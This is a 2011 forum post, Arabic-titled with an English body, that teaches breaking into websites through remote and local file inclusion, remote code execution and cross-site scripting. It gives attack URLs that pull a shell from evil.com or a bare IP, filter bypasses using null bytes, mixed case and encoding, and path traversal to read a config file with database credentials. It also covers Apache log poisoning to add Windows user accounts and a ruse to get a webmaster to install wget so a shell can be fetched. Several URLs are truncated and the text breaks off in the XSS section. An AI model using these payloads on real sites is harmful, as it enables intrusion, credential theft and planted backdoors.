شرح احترافي لجميع الثغرات من رواد الهاكر الاجانب ! مهم للجميع

bleu moon · 04-27-2011, 02:49 AM

السلام عليكم ورحمة الله تعالى وبركاته

:lol:

Have you ever developed the need or urge to break into a website? Have you ever wondered how that user made such a sufficient attack? Well, today we are going to review common vulnerabilities televised on a lot of websites. Starting off, what are your views on the term "Hacker?", some people think its just a lame excuse for defacements and bragging rights, and others think that it's a way to coexist and make profit or earn internet fame. There are many variations but the one that stands out most is the extruding definition of breaking security, and cleaning up after yourself.

Web Hacking is a sorrow excuse for a bunch of people who don't use traditional methods, Web Hacking is just a partial print for the term "Hacking
", most people think its an advanced technique but when it comes down to it, its really simple and easy to understand, even for your most average Hacker.

Gettin' Down to It

-- RFI //

Starting off, we are going to discuss the technique "RFI", this ideal is often named by "Remote File Inclusion".

It is similar to "Local File Inclusion", the only difference is that your not trying to read a local file, instead your trying to make the server read a remote stationery.

The vulnerable code lies around here:

كود:

@include($_GET["page"]);

?>

Instead of sanitizing inputs, it lets us submit anything on the "page" variable, this includes load/execute structure.

An vulnerable URL can appear to be something like this:

كود:

http://site.com/index.php?page=articles

You may have stumbled upon a URL familiar to that, but have you ever thought that it could be your way in? Simply erase the inclusion after ?page=, and insert a shell. Here is an example of the attack in action:

http://site.com/index.php?page=http:...com/shell.txt?

Now the first thing you might be asking yourself is, "why is php sanitized, isn't that the extension used to make our shell appear?". Well, that is a good question but the reason .php is sanitized is because if we read from a website that had the extension PHP in action, then we would make a completely different website appear in our Remote File Inclusion attack.

The reason we are reading from our shell as a text ******** is because our entire PHP script is roleplayed in the ********, and because PHP is already in play on the website we are using Remote File Inclusion on.

Now you may be asking yourself, "why is the question mark included?". The reason the question mark is in play is because it helps translate to the server that its a submission request, if we didn't have the question mark included then the website would just respond with a unknown query/response. ? helps reinstate our request and that is the partial print as to why Remote File Inclusion works.

If the attack isn't successful, then that's usually a sign of recheck and research by the webmaster. Although, there are characters/sequences that can bypass the filters webmasters have in place, here is partial list with information and howto.

http://site.com/index.php?page=http:.../shell.txt?%00 -- This works because the Null Byte in PHP is known as the "string terminator", and in our syntax its used to terminate anything after it.

http://site.com/index.php?page=HtTp:....cOm/sHeLl.TxT -- We can use mixed characters to bypass some filters, it may look weird but it reinstates a clear request on the server.

http://site.com/index.php?page=HtTp%...%252FsHeLl.TxT -- You can try URL encoding your input to bypass filters. This works because it encodes our special characters that are usually blacklisted.

http://site.com/index.php?page=//evil.com/shell.txt? -- This works sometimes because // isn't usually a sanitized input, and if we do use // as an input in the URL it still showcases the original output. You can also use the URL encode function to make this work.

http://site.com/index.php?page=74.125.79.99/shell.txt? -- This works if URL's are sanitized (http/www/com/net/org, etc, programically not allowed). All you have to do is get the web I.P address and then read from your texted shell. In this showcased attack, you can also use the //74.125.79.99 method that was brought up above.

http://site.com/index.php?aHR0cDovL3...=/shell.txt%3F -- This is a very rare attack but it has been showcased on sites like Gamebattles and Infinityward.com, what we are basically doing is reading from our input via Base64 value (the base64 value = the website we have our texted shell on) and then we use an encoded question mark, now we read from page to input the location which is /shell.txt? (%3F = encoded question mark) . The reason we don't include our full URL is because the base64 value already represents the tags and URL, but /shell.txt? represents the location.

http://site.com/index.php?http%3A%2F...om=/shell.txt? -- What we do here is read from a valid HTTP request (index.php?URL Structure), then we equalize our input and reinstate the web folder location (=/shell.txt?), in most cases though, you won't have to use the ? because its completely localized and reads from a direct location.

-- LFI //

LFI = Local File Disclosure.
Definition: We use ../ to cycle or move backwords to our path of disclosure.

This is practically the same as RFI except we use local commands to retrieve data from the server. This is really useful if you want to get your hands on domain information or any other piece of data that isn't meant for disclosure.

To determine whether the site is vulnerable or not, I'd recommend doing this:

كود:

http://site.com?page[]=contact

If you get an error such as this one:

كود:

Warning: main(Array) [function.main]: failed to open stream: No such file or directory in /home/gman/domains/site.com/site_data/index.php on line 299

Then that site might have a Local File Disclosure vulnerability.

Starting off, we know the coexisting dictionaries/files that are included on the website, so we have somewhat of acknowledgement of what the fuck is going on. Here are some of our attempts at getting some results in on the website:

كود:

http://site.com?page=../../../../home/gman/domains/site.com/site_data/login.php -- No Result
http://site.com?page=../../../../home/gman/domains/site.com/site_data/index.php -- No result
http://site.com?page=../../../../home/gman/domains/site.com/site_data/index1.php -- No result
http://site.com?page=../../../../home/gman/domains/site.com/site_data/config.php - Result!

As you can see, in our 5th attempt we were able to determine the configuration file, here's what our final result was:

كود:

$dbhost    = "localhost";      /* Database Host */
$dbuser    = "ox010an_gman";  /* Database User Name*/
$dbpass    = "pseudoexpert";  /* Database Password */
$dbname    = "hax4life";     /* Database Name */

But our result was NOT showcased on the original index, nor did it respond correctly and insert our data in the field, how did we discover this? We used the "view-source:http://site.com?page=../../../../home/gman/domains/site.com/site_data/config.php" function in Firefox to get the attributes.

Where you can locate your results in some cases:

A ) View the source code
B ) If there are any coexisting images, hover over them to see if your Local File Disclosure result is included
C ) Hover links/banners to see if your result was embedded there.

If your site doesn't return a positive result, then the vulnerability is probably patched ) : . But don't give up just yet, there is another solution!

كود:

http://site.com?page=../../../../home/gman/domains/site.com/site_data/config.php%00

Just as mentioned earlier, %00 terminates anything after that, and in PHP it is known as the "string terminator";

If you are still bummed out, here are some basic bypass intrusions you can use to bypass filters webmasters have setup.

كود:

http://site.com?page=..%2F..%2F..%2F../home/gman/domains/site.com/site_data/config.php -- We can use URL encoding to bypass some restrictions the administrator may have setup. This can be used to bypass basic blacklisting by the administrator and/or bypass escaped characters.

http://site.com?page=..%2F..%2F..%2F..%2Fhome%2Fgman%2Fdomains%2Fsite.com%2Fsite_data%2F%0Aconfig.php -- This is the same as the above explanation except we encode everything (including ../ and / standards), the only thing we didn't encode was config.php because that is the file we want readable, and if we did encode it would encode our .PHP extension.

[/code]

The reason we used page[] is because the [ ] usually stimulate a error on the website, therefore returning us somewhat of "results" or "path acknowledgement" to the website.

-- RCE //

RCE: Remote Code Execution
Definition: We use this attack to retrieve code or information about the site using the proper programming syntax (in our case, PHP). We could download stuff, we can make dirs, we can rm dirs; overall, just a load() of fun.

This attack is somewhat of a shell execution backdoor, if you find a site that is vulnerable to this security disclosure, then chances are you will get full access to the website that pertains it.

This attack is executable through Netcat or telnet; today we will be discussing the whereabouts and howto's of telnet.

Starting off, we are going to connect to our target, the site's I.P address can be determined via ping. Once we find our target, we are going to head over to command prompt and insert the following:

telnet 127.0.0.1 80

"Why Port 80?", we are connecting to port 80 because that is where the vulnerable path lies, it is also our order of execution for RCE

Now we are going to use the GET method to read from our directory (bak.php?page=) , after completetion, we will have to insert our PHP syntax to complete the request. For testing purposes, we will use a simple echo resemblance:

كود:

GET bak.php?page=

If the code snippet is right, "foo", could be a valid variable and we could use it as a backdoor for getting into the website. If it is a standard Linux box, you can use something like this to make an account:

كود:

useradd foo
passwd .

But we are going to set our focus on poisoning Apache logs and executing from our variable (which is a valid value/perimeter), we know the current box is running on Windows so our command syntax will include net user, lets begin! :

كود:

localhost/bak.php?page=../../apache/logs/access.log&foo=net user%20AliEmre%20password
%20/add

What we do in this example is practically poison logfiles, we then go on and read from our foo variable and make a request from it. Now your probably thinking, "How do I know if the account is actually there?" You can use net user username, example:

كود:

localhost/bak.php?page=../../apache/logs/access.log&foo=net%20user%20foo

If you get some Windows information back with account statistics, you are successful! But now your thinking, "what the fuck? I want to access this!", here is how:

1 ) Contact the webmaster via contact feature
2 ) Tell him about an invalid package or bummed out application
3 ) Link him to http://gnuwin32.sourceforge.net/packages/wget.htm or your own personally upped wget package
4 ) (IF) He install's it on the proper RDP/Computer, you can now begin your attack!
5 ) Type dir in ../../apache/logs/access.log&=foo
6 ) Move back to discover domain selection (lists all domains in order); once found go to the public_html or ~www dir
7 ) Once your prime location is on the target, wget a infected program/shell (infected program requires talking the admin into running the file)
8 ) Once you get your shell up, go to localhost/shellname.php

Attempting to infect the admin is more of a result bash though, if you are successful you can get all the results and passwords for everything the administrator has to offer (Hosting accounts, Email Address, WAP Key/PPPoE Modem GUI access, etc, etc.

-- RCE P2 //

If you want to inject this attack through the web browser, this is for you. Once again, our vulnerable path lies around /bak.php?page=, so what we need to do is include our PHP syntax. In this case we will simply try to get a "echo" response from the web server.

كود:

localhost/bak.php?page=

We get no response from the server ] :, our best guess is that:

1 ) They have escapecmdshell on
2 ) magic_quotes = ON
3 ) PHP filtered/chars escaped (if this is in play, it would just read our request as php echo foo?, therefore we aren't really making a proper GET request to the website, we are just inserting an invalid query.

But there is a bypass to this, you can use URL encoding to escape proper file fragment/protection:

كود:

localhost/bak.php?page=%3C%3Fphp%20echo%20%E2%80%9Cdeneme%E2%80%9D%3B%20%3F%3E

This works because we have no special characters in play, and our request is still in play considering these are simple URL encodes and most sites read it when GET/POST variables are being transferred through the data stream. Another reason being so is because if we make invalid requests on a filtered/patched website, sometimes it can respond with a %3C or %80 (encoded result) .

-- XSS //

XSS: Cross Site Scripting (X=crossed, S=site, S=scripting)
Definition: This is commonly a client-side attack but if embedded correctly in the source it could cause permanent damage to your website (mainly persistent XSS and/or XSS Shells).

This attack just brightens up every month you see it in action. What we do with this attack is simply use Javascript to evade website orders, so for example, if we wanted Bob's user agent information, we could use our very own XSS Shell to gather not only the user agent information, but his ******s!

Starting off, if you want to identify vulnerable sectors quickly, once you broaden your attack, view the source for combinations of XSS");

But this doesn't stop some people, some sites have basic filters such as:

1 ) Character evasion
... (